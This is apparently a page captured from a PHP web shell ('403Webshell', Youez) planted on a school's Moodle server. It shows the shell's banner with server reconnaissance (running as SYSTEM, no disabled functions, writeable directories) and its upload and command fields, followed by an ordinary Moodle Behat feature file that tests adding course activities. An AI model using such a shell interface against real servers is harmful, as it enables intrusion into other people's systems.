403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/course/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/course/tests/behat/add_activities.feature
@core @core_course
Feature: Add activities to courses
  In order to provide tools for students learning
  As a teacher
  I need to add activites to a course

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student | 1 | [email protected] |
      | student2 | Student | 2 | [email protected] |
    And the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | student1 | C1 | student |
      | student2 | C1 | student |
    And I log in as "admin"
    And I am on "Course 1" course homepage with editing mode on

  @javascript
  Scenario: Add an activity to a course
    When I add a "Database" to section "3" and I fill the form with:
      | Name | Test name |
      | Description | Test database description |
      | ID number | TESTNAME |
      | Allow comments on entries | Yes |
    And I turn editing mode off
    Then I should not see "Adding a new"
    And I turn editing mode on
    And I open "Test name" actions menu
    And I click on "Edit settings" "link" in the "Test name" activity
    And I expand all fieldsets
    And the field "Name" matches value "Test name"
    And the field "ID number" matches value "TESTNAME"
    And the field "Allow comments on entries" matches value "Yes"

  @javascript
  Scenario: Add an activity supplying only the name
    When I add a "Database" to section "3" and I fill the form with:
      | Name | Test name |
    Then I should see "Test name"

  @javascript
  Scenario: Set activity description to required then add an activity supplying only the name
    Given I set the following administration settings values:
      | requiremodintro | Yes |
    When I am on "Course 1" course homepage
    And I add a "Database" to section "3" and I fill the form with:
      | Name | Test name |
    Then I should see "Required"

  Scenario: Add an activity to a course with Javascript disabled
    Then I should see "Add a resource to section 'Topic 1'"
    And I should see "Add an activity to section 'Topic 1'"
    And I should see "Add a resource to section 'Topic 2'"
    And I should see "Add an activity to section 'Topic 2'"
    And I should see "Add a resource to section 'Topic 3'"
    And I should see "Add an activity to section 'Topic 3'"
    And I add a "Label" to section "2"
    And I should see "Adding a new Label to Topic 2"
    And I set the following fields to these values:
      | Label text | I'm a label |
    And I press "Save and return to course"
    And I add a "Database" to section "3"
    And I should see "Adding a new Database to Topic 3"
    And I set the following fields to these values:
      | Name | Test database name |
      | Description | Test database description |
    And I press "Save and return to course"
    And I should not see "Adding a new"
    And I should see "Test database name"
    And I should see "I'm a label"

Youez - 2016 - github.com/yon3zu
LinuXploit